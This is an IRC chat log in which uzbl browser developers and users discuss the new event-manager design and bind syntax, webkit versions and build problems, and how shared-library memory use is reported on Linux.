16:56 < soulcatcher> I only ask, because one thing I like about uzbl is that if some extension fails, it generally doesn't hurt anything, because it's an external exec
16:56 < mason-l> soulcatcher, The only way: forking the event message dispatcher. Very dodgy.
16:57 < mason-l> soulcatcher, All exceptions are captured appropriately.
16:57 < soulcatcher> well, I was thinking along the lines of instead adding a helper function to let a plugin easily execute a script
16:58 < soulcatcher> so basically the plugin code stays really mininal, it gets what it needs then calls like POpen to run the script
16:58 < soulcatcher> which perhaps a default set of args (like the spawn command does now)
16:58 < soulcatcher> s/which/with/
16:59 < mason-l> soulcatcher, Whats wrong with uzbl.send('spawn ./myscript.py')
16:59 < soulcatcher> good point
16:59 < mason-l> :)
17:00 < soulcatcher> just trying to make sure things stay nice and decoupled ;)
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17:28 < soulcatcher> anyone know if the window resize error with gtkwebkit was fixed?
17:28 < holizz> soulcatcher, Nope. Not yet.
17:28 < soulcatcher> ok, cool, I'll just install an older version of webkit
17:28 < holizz> Take a look at my resize branch.
17:29 < holizz> It introduces scrollbars, which is not ideal. But the bug's fixed.
17:43 < mason-l> Night guys.
17:43 < ruskie> window resize error?
17:44 < ruskie> you mean when the window goes to max size?
17:44 < ruskie> update webkit to .14
17:44 < ruskie> that fixed it for me
17:47 < holizz> ruskie, I mean when it resizes to the size of the Web page.
17:47 < ruskie> yup
17:47 < ruskie> .14 fixes that for me
17:47 < ruskie> had the problem with .13 though
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18:06 < soulcatcher> ruskie as a note, .5 also works
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18:33 < rob|> good evening
18:33 < rob|> .
18:34 < Dieterbe> hey rob
18:34 < Dieterbe> soulcatcher: i wouldn't recommend .5 that sounds old
18:35 < Dieterbe> rob|: mason-l found a bug
18:36 < rob|> what bug?
18:36 < Dieterbe> 14:18:44 < mason-l> Dieterbe, I've isolated the problem a bit. Whats happening is the command "event BIND ZZ = exit" comes out as "EVENT BIND ZZ" unless you put "'s around the event argument like: event BIND "ZZ = exit"
18:36 < rob|> well, that's not a bug but the way the command parser works
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18:36 < rob|> iirc it was introduced along with chain
18:37 < rob|> which needs this qouting
18:37 < Dieterbe> oh i always thought it would just go until the end
18:37 < rob|> not in this case :(
18:38 < rob|> as i said there is quite a lot of clean up to do, help appreciated
18:38 < rob|> i guess we could remove big parts of the current code
18:40 < rob|> anyone knows what's up with duclare, haven't heard anything from him for quite some time...
18:40 < DuClare> Busy with people, school, whatnot
18:41 < DuClare> Been a little tired to code :x
18:41 < rob|> oh, there he is ;)
18:41 < rob|> hehe, alright just wondering
18:42 < DuClare> I really need to catch up on the event system :|
18:42 < rob|> yeah, the nice thing is that it makes thing even simpler
18:42 < rob|> *things
18:43 < rob|> we just need to remove big parts of your previous work, though
18:43 < DuClare> Yeah
18:43 < DuClare> Yup
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18:52 < DuClare> 005829  [df]> I think the vi user's ultimate browser is uzbl though
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18:57 < soulcatcher> Dieterbe it's the last real release before they added the windowing problem.  June 26th, so not real old
19:01 < Dieterbe> oh
19:01 < Dieterbe> they went from .5 to .15 (i.e. 10 small releases) in just a few months then
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19:09 < rob|> Dieterbe: i think we should work more closely with the webkitgtk guys as uzbl is basically just another layer on top of it and both sides could benefit from each others experience
19:11 < rob|> i.e. we should eventually figure what we need and what could be better, sum it up and get in contact with those guys
19:11 < rob|> i mean we're just mapping their API onto a higher abstraction level
19:14 < DuClare> Indeed
19:14 < DuClare> Is there anything specific that should be improved from the webkit side?
19:14 < DuClare> (Related to what we're doing now)
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19:22 < rob|> well, .14 brings quite a couple of cool things we can make use of so we first should figure that out
19:23 < soulcatcher> rob| what's in .14?
19:24 < rob|> soulcatcher: http://blog.kov.eti.br/?p=88
19:24 < rob|> and also see the API docs on their site
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19:26 < Dieterbe> 19:09:23 < rob|> Dieterbe: i think we should work more closely with the webkitgtk guys as uzbl is basically just another layer on top of it and both sides could benefit from each others experience
19:26 < Dieterbe> good idea but i have to go cya
19:27 < rob|> well, ok cu
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20:18 < rob|> heh fun, didn't know there existed an acme "port" for windows
20:19 < rob|> anyways, acme is conceptually really nice. i just got too used to vim, though
20:41 < ruskie> :)
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20:59 < dirkson> Hey all. So I installed uzbl and set it up, and it has a lot I like. The major frustration I have, though, is the way tabbing is done- It spawns multiple copies of uzbl, which is horrible on memory. Does this approach have some good point that I'm missing? I realize that it could potentially be more stable (Tab crashes don't take down the browser) but I've never actually seen anything crash a webkit browser, so I think we're covered for stabi
20:59 < ruskie> dirkson, simpler :)
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21:00 < dirkson> Well, that's certainly an advantage for the developers. But it sort of sucks for us users- I don't want to spend all my ram running my browser, I want to do other things with it.
21:00 < holizz> dirkson, I've been using uzbl for several months now, and yes it does crash very occasionally. Also, tabs don't fit in with the UNIX philosophy.
21:02 < dirkson> holizz: Ok, you hate tabs. My preferred terminal window has an optional daemon/client system. The daemon stores all the common stuff, and the client merely opens a new connection to it. This is VERY unix like, and would solve this memory problem quite elegantly.
21:02 < dirkson> See urxvtd for the urxvt daemon
21:03 < ruskie> hmmm
21:03 < ruskie> only problem is when urxvtd crashes it takes everything with it
21:03 < dirkson> True. But I've never had it do that. And it /is/ optional, so you needn't use it if you hate the remote possibility of everything going down
21:04 < dirkson> This would not only solve the problem for tabbed peoples, like me, but for anyone who wishes to view more than one page at once in uzbl
21:04 < ruskie> though I agree it does take a bit much in mem
21:05 < dirkson> ruskie: I run all the software I use in a day all the time. This is 7+ apps, generally. uzbl takes more than /all of them combined/ under a normal workload :D
21:05 < ruskie> I wouldn't mind such a solution actually
21:05 < ruskie> I only notice mem overload after a day or so of running the same uzbl instance
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21:06 < rob|> dirkson: the problem is that you don't understand how memory management works
21:06 < rob|> i'm referrring to shared libs here
21:06  * ruskie notes he has 341mb of free mem and 3 uzbl tabs open
21:06 < ruskie> wanna bet what will happen once I close them?
21:07 < rob|> ruskie: i'm not talking about leaks
21:07 < ruskie> so there's a leak in uzbl?
21:07 < rob|> there might be one or more
21:08 < rob|> i did my best to avoid them, though can't speak for all contributors
21:08 < ruskie> I closed two instances and got 300mb back
21:08 < ruskie> actually more
21:08 < ruskie> 500
21:08 < rob|> see above
21:08 < ruskie> yeah
21:09 < ruskie> I think I'll install wuss it's name...
21:09 < ruskie> valgrind
21:09 < rob|> actually top/ps and friends lie at you
21:09 < ruskie> ps said something in the range of 40mb/instance
21:09 < ruskie> which for 3 of them should have been 120mb
21:10 < rob|> no, that's a general misunderstanding of memory management
21:10  * ruskie would be interested in a proper understanding if there's some article about it or so...
21:10 < rob|> every shared lib will be loaded only once but is reported for every instance
21:10 < ruskie> hmm
21:11 < rob|> there are lots of articles and writing regarding that topic, you'd just need to search _and_ read carefully
21:11 < rob|> *writings
21:11 < ruskie> was just thinking you have one particular in mind :)
21:12 < rob|> there is no easy way for userspace programs to get a true/decent view of actual memory usage
21:12 < ruskie> or do you know of a better tool... n/m
21:12 < ruskie> :)
21:12 < rob|> no, such a tool can't exist
21:12 < ruskie> would need help from a kernel module perhaps?
21:13 < dirkson> However, beyond dev time, what problems would my solution create? (And wouldn't it rather help with memory, whether or not top gives me accurate numbers?)
21:13 < rob|> dirkson: no
21:15 < rob|> to get back to your urxvtd example, the only benefit of it are better startup times
21:15 < rob|> cause it can save a bit on relocation and such things
21:16 < ruskie> hmm
21:16 < ruskie> it's already very fast
21:17 < dirkson> rob|: Are you certain? Your whole premise in this is that top/psaux are useless, which is a somewhat difficult pill to swallow.
21:18 < rob|> right, so there is no real point to it other than a _seemingly_ impact on ressources
21:18 < ruskie> well following this reasoning I shouldn't worry when my box starts swapping due to thinking it ran out of mem?
21:18 < ruskie> which has happened
21:19 < rob|> ruskie: no, i say the swapping is not due to the fact that we run multiple processes in contranst to a big monolitic thing that acts as kind of a server
21:20 < dirkson> In opening multiple urxvt windows, I see a very definite memory savings in free, top and ps|aux. You're telling me that all these are wrong. Can you give me some more information here? How are you determining that these (rather commonly used tools) have got it wrong?
21:20 < ruskie> ok assuming it doesn't really touch more mem than necessary. That means there's a memleak someplace that in ~24h gobbles up 10mb in my case
21:20 < rob|> ruskie: yes
21:21 < rob|> most certainly
21:21 < ruskie> ok I'll run a few uzbl instances with valgrind
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21:22 < rob|> a first hit: http://virtualthreads.blogspot.com/2006/02/understanding-memory-usage-on-linux.html
21:23 < rob|> there are certainly more elaborate writings on that topic
21:25 < dirkson> rob|: That actually /is/ a good explanation of what's going on, thank you.
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21:26 < dirkson> rob|: It still doesn't really explain how to /actually/ find how much memory is used, though : ) I'll do further research
21:27 < rob|> well, that's no a particularly easy task
21:27 < rob|> *not
21:29 < dirkson> Ok. But this would mean that uzbl should load up all its shared stuffs with the first copy, and that every additional copy would have a marginal cost. Free should still reflect this, although obvious ps aux and top do not. (I.e. If I open up two uzbl windows, check free, close one, check free, I'll have a good idea what the marginal cost of an extra uzbl process is)
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21:30 < rob|> hehe, no. how do you check 'free'?
21:30 < dirkson> This ends up being ~10mb, much less than the 30mb I had /assumed/ it was taking due to the output of top.
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21:31 < ruskie> rob|, hmm interesting
21:31 < dirkson> rob|: Where the "free" column and the "+/- buffers/cache" row intersect.
21:32 < rob|> not even that will give you the whole picture
21:32 < dirkson> No? Why?
21:32 < rob|> because of caching and many other things going on that such tools purely can't be aware of
21:33 < dirkson> Well, the row /does/ say -cache .... *confusion*
21:34 < rob|> linux has copy-on-write and many other fine MM techniques that are simple being reported as false positives
21:35 < rob|> i'd suggest to read up on MM in general and the strucuture of ELF in particular to get a better idea of the inner workings
21:37 < rob|> for a easy to comprehend example, open a huge memory area (file) consiting of only NULL bytes/words. in reality there won't be a single bit used unless you actually perfomr a task on that area
21:38 < dirkson> *nods* I was reading up on Copy-on-write. I can see how it would speed things up, and how it could be reported as memory usage when it's actually not.
21:38 < dirkson> It's a really clever technique : )
21:39 < rob|> memory managemnt is one of the most difficult areas for a reason
21:39 < dirkson> *nods* Is uzbl multithreaded?
21:39 < rob|> yes, webkit and gtk are
21:39 < dirkson> Right : )
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21:40 < dirkson> Ok, I can see now how the client/daemon setup for uzbl wouldn't have much in the way of benefits
21:41 < rob|> well i hope i could give you a slight insight into a complex topic ;)
21:41 < dirkson> And now all the bazillion copies of apache taking up "40mb" of ram on my sever make a hell of a lot more sense. I'd never stopped and considered it before, but I bet if I added all of 'em up I'd get significantly more memory used than I actually have
21:41 < ruskie> http://sprunge.us/ASQD <-- anything I should worry about yet?
21:42 < rob|> dirkson: yeah, for sure
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21:43 < rob|> ruskie: well, we can't do much on webkit leaks. also i'm not in the mood of debugging such things right now ;)
21:43 < dirkson> I bet I could make a tool that'd give me a lot better idea what's doing on than I currently have. I don't think I could do much for advanced MM techniques, but I could probably make a little system to get a closer idea about what's going on shared memory wise
21:44 < ruskie> rob|, I'll keep that instance running like I do others want to see if there will be any change over time
21:44 < rob|> i did for a couple of times and fixes quite a few leaks, though i bet there were others introduced in the meantime
21:45 < rob|> dirkson: sure. you could also invest some time and try to find some of the memory leaks in uzbl, that would be a great help for sure
21:45 < dirkson> rob|: Likely ^.^
21:46 < dirkson> Indeed, ignoring advanced MM techniques and only focusing on accounting for shared memory, I can actually see the current implementation of uzbl tabbing taking a lot fewer resources than my other browser for lower numbers of tabs. (Which isn't how I saw it at first at ALL)
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21:46 < ruskie> would be nice to have a tool that would show the actual thing...
21:47 < rob|> anyways i spent lots of hours on searching/avoiding such things in dzen and have been greatly rewarded in the end :)
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21:50 < ertai> hey guys do you know that AF_UNIX+SOCK_SEQPACKET is not supportted on MacOS X
21:50 < rob|> ertai: i had such a feeling ;)
21:51 < rob|> ertai: we might be able to settle with STREAM sockets eventually
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21:52 < rob|> actually the (current implementation of the) cookie daemon is the only bit relying on SOCK_SEQPACKET
21:52 < ertai> that's what I've done locally, but I am not sure to understand the consequances
21:52 < ertai> right
21:54 < rob|> as cookies can not contain new lines you might be lucky and not encounter any issues
21:54 < ertai> OK
21:54 < ertai> BTW is the experimental branch supposed to roughly working?
21:55 < rob|> yes
21:55 < rob|> with my latest patch, that is
21:57 < rob|> the event manager is still missing some bits, but at least keybindings should work pretty well (for the other bits you can just use the old semantics until we got them sorted)
21:58 < rob|> s/them/things/
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22:18 < dirkson> Hey! Really stupid question time: My other browsers just seem to "know" when there's an rss feed associated with a page. Does uzbl have anything like that?
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22:24 < rob|> no, on purpose.
22:25 < scj> dirkson: you could make a script that checks for rss feeds and adds some sort of symbol to the statusbar, I guess
22:25 < rob|> we really are in a trasition right now with the whole event manager stuff, when things start to stabilize implementing rss feeds and such will be an easy task
22:25 < dirkson> scj: I was figuring I'd need to do something like that even if uzbl /could/ detect rss feeds
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22:26 < dirkson> Although I'd just as soon map it to a key. "f" and the feed is added to my feed reader. Nice and simple
22:26 < dirkson> But I don't know how the other browsers figure out there's an rss feed, so I can't exactly go devving a script.
22:27 < holizz> dirkson, It's the LINK element.
22:27 < scj> dirkson: in the <head> tag you have a bunch of <link> tags
22:27 < scj> it checks for type="application/rss+xml"
22:28 < dirkson> Well, that sounds simple enough. I could probably cobble together something in python to read that for me.
22:28 < dirkson> Thank you ^.^
22:28 < scj> or you could use js to print the links for you
22:29 < dirkson> Well, I know python. :D
22:29 < rob|> yeah, you've got plenty of choice with uzbl ;)
22:29 < dirkson> When one has a hammer, everything starts looking like a nail.
22:30 < holizz> What happens when you have two hammers?
22:30 < scj> two nails
22:33 < holizz> What about if you have two hammers, three screwdrivers, a fork-lift truck, and a Python Web framework?
22:35  * dirkson couldn't take django. Put together oddly for his tastes.
22:35 < holizz> What's your favourite framework?
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22:37 < dirkson> I mostly end up using drupal for everything. It's like building websites out of legos. Recently I hit upon a project much too complex for drupal- I've actually been trying to get a C/fastcgi setup going, but I'll probably buckle and just write it in straight python/fastcgi at some point.
22:37 < dirkson> I tried django and pylons, and didn't really like the way they were put together.
22:40 < holizz> PHP, nasty.
22:41 < dirkson> Yes. It's horrible on system resources, but I never have to touch the php at all.
22:41 < dirkson> It's like legos. I add in the appropriate modules, tinker with them, and BOOM, I have a website. This took ~3 days of devving: www.sunnysideatheism.com
22:42 < holizz> That domain name can be read so many ways.
22:42 < holizz> Sunny's Idea The Ism.
22:43 < holizz> Sunny Side A ... ?
22:43 < holizz> I didn't work out what it was until I saw the title of the page.
22:47 < dirkson> Aye : (
22:47 < dirkson> It's not as good a url as I originally thought
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22:48 < holizz> Just buy one with a hyphen.
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22:59 < dirkson> I suppose
22:59 < dirkson> Anyway, three days : )
23:01 < holizz> Yes, there has been some good stuff made with PHP. I use WordPress at work - it seems to be pretty easy to make it do what you like, even if it's quite poorly documented in places.
23:01 < scj> dirkson: http://pastie.org/615630
23:01 < dirkson> scj: Thank you!
23:12 < ertai> Is the insert mode supposed to work in the experimental branch?
23:13 < holizz> ertai, I don't think anything's supposed to work in the experimental branch at the moment.
23:13 < ertai> holizz: I mean does it works for someone?
23:14 < holizz> Someone? Maybe. It doesn't work for me.
23:18 < scj> the experimental branch is completely different from the master branch atm
23:18 < ertai> scj: I know, I'm trying out the event system
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23:44 < ertai> I don't yet know why but on line 2333 of uzbl-core.c, len needs a +1 to works here (intel mac)
23:45 < ertai> otherwise the socket is truncated by one char
23:45 < re|run> hmm... odd.
23:45 < re|run> thx
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07:26 < lrvick> Ok i must be missing something. hints show up using follow_numbers. It executes, it shows me the numbers, but typing the given number does nothing
07:26 < lrvick> i can not actualkly follow them
07:26 < lrvick> is there some magic prefix i am missing?>
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07:30 < ruskie> lrvick, probably the samet hing you typed to get the numbers
07:33 < lrvick> i have the script bound to F
07:33 < lrvick> hitting F again only hides the numbers
07:33 < drknow> I found a file with an additional fl* binding.  do you have that, too?  it looks like F just runs hint.js, whereas the other one runs follow_Numbers.js
07:33 < drknow> http://gist.github.com/raw/132797/31d76509ba18d363806f2008887cc9db0baafc02/config
07:34 < drknow> I'm new to uzbl; installed it today, but that may be it
07:34 < lrvick> drknow: yep! fl+num is perfect
07:34 < lrvick> and less keystrokes
07:35 < lrvick> i am on my first day in uzbl as well
07:35 < drknow> cool.
07:35 < scj> try linkfollow.js if you want vimperator-ish link hinting
07:35 < drknow> I ran into this bug, so I'm rebuilding webkit (the one that came with ubuntu is too old): http://www.uzbl.org/bugs/index.php?do=details&task_id=85&project=1
07:36 < drknow> webkit takes a few mins to compile, heh.
07:36 < lrvick> yeah... its a lot of code
07:36 < lrvick> however i am loving it. I have been wanting to get on a webkit based browser for a while, but chrome is just way too limited/bloated. I am a scripter... no greasemonkey == no sale
07:37 < lrvick> webkit is _so_ much more stable all around, and 100% on acid3. it makes me happy.
07:37 < lrvick> gecko has become far too bloated :-(
07:39 < lrvick> who needs greasemonkey when the whole user interface of the browser is nothing but scripts itself.
07:39 < lrvick> he he
07:39 < drknow> ;p
07:49 < drknow> webkit build broke trying to link to libsoup-2.27.92 ... 2.27.91 looks like it took though.  That was scary.  After an hour or so of build I thought something was hideously wrong :p
07:50 < ruskie> lol
07:51 < uriel> god, webkit takes an hour to build?
07:52 < drknow> I didn't actually time it, but in that area.  well it also hasn't finished, so I'm not sure.
07:53 < ruskie> yup
07:53 < ruskie> gaze time webkitgtk
07:53 < ruskie> Casting webkitgtk took 44m
07:53 < ruskie> well 44m on a quad core
07:54 < drknow> << laptop :p
07:54 < ruskie> takes 1h 15m on a semp64 1.6Ghz single core
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08:00 < drknow> It looks like it's replacing all of the .lo files it had created :/  my switch of libsoup versions was apparently not sneaky enough.  Which also makes me think the build may re-fail once it gets to where it was.
08:01 < drknow> unless it is doing a phased build or something.  webkit reminds me of linuxfromscratch.
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08:36 < rob|> morning.
08:37 < drknow> morning.
08:52 < drknow> 3rd webkit build attempt :p It would have been faster for me to try out the uzbl patches, but if webkit's the cause and fix of this bug then I guess it's best to just upgrade.
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08:57 < Dieterbe> bonjornoaw
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09:13 < rob|> removed all of the obsolete key binding code which got rid of quite some LOCs
09:16 < Dieterbe> yeay
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09:18 < rob|> i will leave the old handler code untouched until there are EM modules for it, though
09:22 < rob|> uzbl-core.c is now at 2356 SLOCs and i'm pretty sure we can get it under 2000 lines after we remove handlers
09:23 < Dieterbe> aha, moving some handlers to EM plugins sounds like a task i could do
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09:25 < rob|> ok cool :)
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09:36 < Dieterbe> i think we should coordinate this stuff a bit more
09:37 < Dieterbe> this weekend i didn't have much clue what was supposed to work and what wasn't. (i hate to feel out of control ;-)
09:37 < Dieterbe> maybe you, rob| , should divide the tasks / coordinate this a bit
09:37 < Dieterbe> (i.e. just tell me what to do)
09:39 < rob|> right, so first thing to do:  move all currently available handlers to EM modules and get rid of the obsolete code
09:40 < scj> how will EM modules replace handlers?
09:40 < Dieterbe> also, i think when you execute 'make test-dev-browser' it should demonstrate what is currently working. e.g. if the binds are supposed to work, the example script should reflect that
09:41 < Dieterbe> scj: one would write some python code that listens for a certain event and reacts on it
09:41 < Dieterbe> s/example script/example config/
09:42 < scj> Dieterbe: but cookies will not be handled by the EM?
09:42 < Dieterbe> no. at least i'm not convinced they should
09:43 < scj> because conceptually they are similar. uzbl-core signals that it wants a reply regarding something, the EM replies somehow
09:43 < Dieterbe> i saw some people talking about the possibily though but i think the current approach is quite ok (the socket related part and the handler stuff, that is()
09:43 < Dieterbe> no. EM is async, cookies are sync
09:44 < rob|> well, at least someone reported SOCK_SEQPACKET is not available under mac os for unix domain sockets
09:44 < rob|> so in the long run it would be good to integrate cookies with the EM
09:46 < Dieterbe> and what about doing SOCK_<whatever does work on mac> but still with a separate handler
09:47 < rob|> yeah STREAM sockets are available but i'm not so much involved into this talk_to_socket thing. so your best bet is to ask the guy who wrote it
09:48 < rob|> on the other hand if we use stream socks anyways there is no reason to not use the EM for cookies, though
09:49 < Dieterbe> that was l. withers
09:52 < Dieterbe> nickname lwithers, lwi seems to be someone else
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11:00 < Hideo> scj: is there a way to make linkfollow.js open in a new window?
11:00 < scj> Hideo: not without ugly hacks
11:01 < Dieterbe> can't you do it with Uzbl.run ?
11:01 < Hideo> scj: aw, yes I tried w/o success, but thought I might as the person who wrote it first
11:01 < scj> but you could do something like bind foo_ = hints.follow("%s",function (link) { Uzbl.run("spawn uzbl " + link.href)})
11:02 < Hideo> hehe, ok, I'll try that
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11:07 < Hideo> ok, this is what I have, it did not work, I get a URL cannot be shown error, http://pastebin.com/f3f87559a
11:11 < scj> what about the "'s?
11:12 < scj> http://pastebin.com/m54697893
11:14 < Hideo> scj: I don't even get hints at all with that
11:15 < Hideo> scj: the first implementation above, I got the hints, and it opened a window, but it says URL can't be shown
11:20 < Hideo> scj: I apologize, reverse the above, I get the hints, it opens a new window, but still, URL cannot be shown error
11:21 < scj> Hideo: "spawn uzbl -u " + link.href
11:22 < Hideo> scj: =D
11:22 < Hideo> !!
11:22 < Hideo> thanks!
11:22 < Hideo> sorry, idiot messing around at 5 am
11:22 < scj> heh, no problem :)
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11:24 < Hideo> scj: heh, and with that, now I'm switched to uzbl 100%
11:24 < scj> prepare for a bumpy ride, big changes are coming
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11:24 < Hideo> oh?  Big change to config syntax also?
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11:26 < scj> the config syntax will probably remain, but that's about it. uzbl is in the process of being gutted in favor of having an external event handler
11:27 < scj> that will take care of pretty much everything
11:27 < Hideo> yes, I saw that after the recent pull with regard to the bookmark script and socat
11:28 < Hideo> uh... I meant the change to socket
11:30 < Dieterbe> the syntax for binds will change, and handlers will disappear completely
11:31 < Dieterbe> except cookie handler
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11:34 < scj> maybe it would be a good idea on having a canonical way of defining bindings, so scripts can send "bind foo = bar" to an instance, which then gets reported back and interpreted by the event manager
11:35 < rob|> scj: we do have that already:  event bind 'foo = bar'
11:35 < scj> oh, good
11:37 < Dieterbe> the dynamic binding stuff seems a bit YAGNI to me but it doesn't require much extra code, so ..
11:39 < rob|> actually it does not require any extra code, the event command is just a convenience wrapper around print
11:39 < scj> how else would you get around with just one config file?
11:43 < rob|> no other way, also events are generic enough to (mis)use them for whatever task at hand..
11:47 < Dieterbe> yeah. except that it feels a tiny bit awkward to abuse uzbl as "transparant messaging bus"
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11:49 < Dieterbe> but.. it's the easiest/simplest way to reach our goals i think
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11:50 < Dieterbe> some of our 'events' are reports when an event has happened, others are requests for an event to happen. that's something we should keep in mind/document
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11:51 < rob|> right
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11:52 < rob|> well, it still is transparent some events are triggered implicitly others (custom events) on request
11:53 < rob|> analoguos to internal and custom uzbl vars
11:54 < Dieterbe> yeah
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11:57 < Dieterbe> i was pondering if we shouldn't have a different name for the "events that we want to happen" (like keybinds). something like 'REQUEST' instead of'BIND'
11:57 < Dieterbe> semantics semantics ;)
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11:59 < rob|> yeah, REQUEST_BIND or REQUEST_* doesn't sound too bad and is rather self explanatory
12:00 < Dieterbe> oh i meant 'request' instead of 'event'
12:00 < rob|> oh
12:00 < Dieterbe> so 'event bind' -> 'request bind'
12:01 < rob|> i see, well i guess i'd be ok with that
12:03 < Dieterbe> hooorraaaaaayy
12:03 < Dieterbe> ;)
12:04 < rob|> so "request bind_show_all" -> EM -> "set uri = data:text/html,<nicely formatted binding list>" -> uzbl socket
12:05 < rob|> nice semantics that also apply well to events camouflaged as commands
12:06 < Dieterbe> oooohhh
12:07 < Dieterbe> otoh i don't see the need for an 'bind_show_all' "handler" (at least not in our default /sample stuff)
12:07 < Dieterbe> one can easily write a simple script to do just that
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12:21 < rob|> sure
12:21 < ertai> I think I do not get the technical difference between 'event' and 'request'
12:21 < rob|> there is none, we're just talking about semantics/word choice
12:23 < Dieterbe> we could also call it 'signal' or 'notify' and use it for both events and requests
12:24 < Dieterbe> it may be simpler if you can just look at the name of the signal, without needing to know 'did they implement this as an event or a request'
12:25 < rob|> you wouldn't need to know that as both are virtually the same thing with different names
12:26 < Dieterbe> ah i see
12:28 < rob|> the plugins just need to document which events/request (or however you want to call that thing) they implement
12:29 < Dieterbe> let's stick to events & requests
12:30 < rob|> ok, so to the user we present events as requests and internally we just stick with the event nomenclature?
12:32 < rob|> that would require a change of a single word in the source
12:32 < Dieterbe> no, i see it like this: uzbl-core can trigger events and emits events.  users can ask uzbl to raise either custom events or requests (by sending the appropriate command to it), which uzbl literally emits
12:33 < Dieterbe> uzbl-core will probably not emit requests by itself
12:33 < rob|> hmm, i don't see the use to have 2 different names (commands) for the very same thing, though
12:34 < Dieterbe> well, it's just a semantic thing i think. a request to create a new keybind is not an event that happened, it's a request to do it
12:35 < rob|> hmm ok, so you say let's "alias" the event command to "request" just to make things more clear, right?
12:35 < Dieterbe> that's why alternatively, we could 'event' -> 'notify' (which can be either an event or a request)
12:36 < rob|> the user can still use both commands but we encourage to use the correct name based on the task at hand
12:36 < Dieterbe> no. the user would both have an event and request command. so he can emit either one
12:36 < Dieterbe> yes
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12:37 < rob|> alright, so i will add the request command just as semantic sugar
12:37 < Dieterbe> yeah.  but then the EM will need to check for both events and requests
12:38 < rob|> no it wouldn't
12:38 < rob|> the actually generated string will be the same for events and requests
12:39 < Dieterbe> the generated strings start with 'EVENT ..' and 'REQUEST .. ' no?
12:39 < Dieterbe> or that's not needed anymore since we don't use stdout anymore?
12:39 < rob|> no, why would we need that complication
12:39 < rob|> the EM decides what to do based on the event/request name
12:40 < Dieterbe> i see
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13:09 < mason-l> <rob|> so in the long run it would be good to integrate cookies with the EM <-- Agreed.
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13:14 < mason-l> Dieterbe, rob|: Hey guys, interesting discussion.
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13:25 < Dieterbe> heya
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13:40 < scj> how will text entry work with the EM?
13:41 < scj> since insert_mode seems broken atm
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13:56 < mason-l> scj, Simple.
13:57 < mason-l> I'm working on that right now.
13:59 < scj> or rather; how will uzbl-core deal with text entry with the new event system?
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14:12 < mason-l> scj, uzbl-core still has a hard-coded insert mode and I just need to tell they keycmd plugin to stop announcing keystrokes when in the insert mode.
14:17 < scj> so how do I enter stuff? doing 'uzbl-core www.google.com & echo toggle_insert_mode > $uzbl-fifo' doesn't work
14:21 < DuClare> o/
14:27 < mason-l> scj, Well uzbl enters into insert mode but keys are still sent only via the event manager.
14:27 < mason-l> scj, I see your (our) problem.
14:28 < keis> sup', looks like bind was ripped out. is the idea that bindings should be plugins to EM now, or what?
14:29 < mason-l> keis, Normal binds that execute normal commands can still be in the config
14:30 < mason-l> keis, The syntax has changed and the actual binding and executing of commands takes place in the bind plugin.
14:30 < keis> hmm, I keep getting "command 'bind' not understood. ignoring"
14:30 < mason-l> he syntax has changed
14:30 < mason-l> 'the
14:30 < keis> but not the example?
14:31 < mason-l> keis, You mean in the example config?
14:31 < scj> experimental branch is experimental
14:31 < keis> mason-l: yep
14:31 < mason-l> keis, We haven't updated it yet ;)
14:32 < mason-l> Old bind command: bind i = toggle_insert_mode   becomes: event BIND "i = toggle_insert_mode"
14:32 < keis> ok, thanks :)
14:32 < mason-l> Everything that used to work via the old bind command has been ported to the bind plugin
14:33 < mason-l> But with added: event BIND "<Ctrl>q = exit"
14:33 < scj> why not just reinterpret the old bind commands to output the bind event?
14:33 < mason-l> Or: event BIND "<Shift-Tab>b = spawn ./myscript"
14:33 < keis> i only find a small set of default commands.
14:35 < mason-l> scj, Because we need the event command anyway to configure other plugins like: event LINK_HOVER_TRIGGER ".google.com = uri %s"
14:37 < scj> but the event command is just syntactic sugar for 'print EVENT'
14:37 < scj> why not make 'bind' syntactic sugar for 'print EVENT BIND'
14:39 < scj> also, are the "'s necessary?
14:39 < mason-l> <scj> also, are the "'s necessary? <-- We are working on that.
14:39 < mason-l> But at the moment they are.
14:41 < mason-l> And in answer to your previous probe: we need a single uniform way of raising events or else we will find ourselves with syntactic sugar for not only bind's but the LINK_HOVER_TRIGGER will want their own "link_hover_trigger" sugar too.
14:41 < mason-l> syntactic sugar is a gateway drug.
14:42 < mason-l> *but the LINK_HOVER_TRIGGER guys will want
14:42 < mason-l> And so on.
14:42 < scj> well, fine. I just think that sugar for 'bind' is more useful than for event, since it would keep the same config syntax
14:46 < scj> while event would be really trivial to abstract away in the EM
14:47 < scj> or whatever source of events you may have
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15:20 < rob|> mason-l: hey
15:21 < rob|> mason-l: regarding the insert/command mode issue: should we generate INPUT_KEY_PRESS/RELEASE events when in insert mode or would you prefer tracking modes in the EM itself?
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15:22 < mason-l> rob|, Tracking modes in the EM but we still need a way to tell uzbl to also enter the keys being pressed into text areas (&etc).
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15:23 < github> uzbl: Robert Manea experimental SHA1-dd1129b
15:23 < github> added request command, fix for insert mode
15:23 < github> http://bit.ly/2VaR07
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15:23 < rob|> yes, just fixed that issue ^^
15:24 < mason-l> rob|, Awesome thanks.
15:25 < mason-l> rob|, But also while I found the conversation interesting I'm not sure about the request AND event keywords being used.
15:25 < mason-l> It should be one or the other.
15:25 < mason-l> Or prepend all events raised in the config with "REQUEST_"
15:26 < mason-l> so: event BIND <args> -> EVENT REQUEST_BIND <args>
15:26 < rob|> well, depending from which angle you look at it one or the other makes more sense
15:26  * DuClare hugs rob| 
15:26 < mason-l> rob|, Its an easy fix to make both parties happy but it still seems crazy to me :)
15:27 < rob|> hehe indeed
15:27 < rob|> hey duc
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15:28 < rob|> oh btw, i just asked the webkit guys and there seems to be no other way to raise an event when a input form is focused (on the site) other than JS :(
15:30 < mason-l> Feature request then?
15:31 < rob|> yep, we should file one
15:33 < mason-l> rob|, (picking up from earlier) but because other scripts can change uzbl's mode, uzbl needs to raise an event on a mode change to inform any mode plugins that they've been circumvented.
15:35 < mason-l> Something like: "EVENT MODE_CHANGE {command|insert}" would be nice and all thats necessary.
15:39 < rob|> ok, don't you think i'll be enough to raise a VARIABLE_SET evennt? i.e. "EVENT VARIABLE_SET [12345] insert_mode int 1"
15:40 < rob|> that's what i just did, though can change it to be MODE_CHANGE
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15:42 < Dieterbe> scj> well, fine. I just think that sugar for 'bind' is more useful than for event, since it would keep the same config syntax <-- uzbl is still in very early phase.  we should not try to be backwards compatible
15:42 < mason-l> rob|, I would like to see MODE_CHANGE because I would like to be able to define custom modes (like "string-input" or something) and re-use the same MODE_CHANGE event that all plugins can catch
15:42 < mason-l> OR
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15:42 < mason-l> I can create the MODE_CHANGE artificially inside the bind plugin after reading an "EVENT VARIABLE_SET [12345] insert_mode int 1"
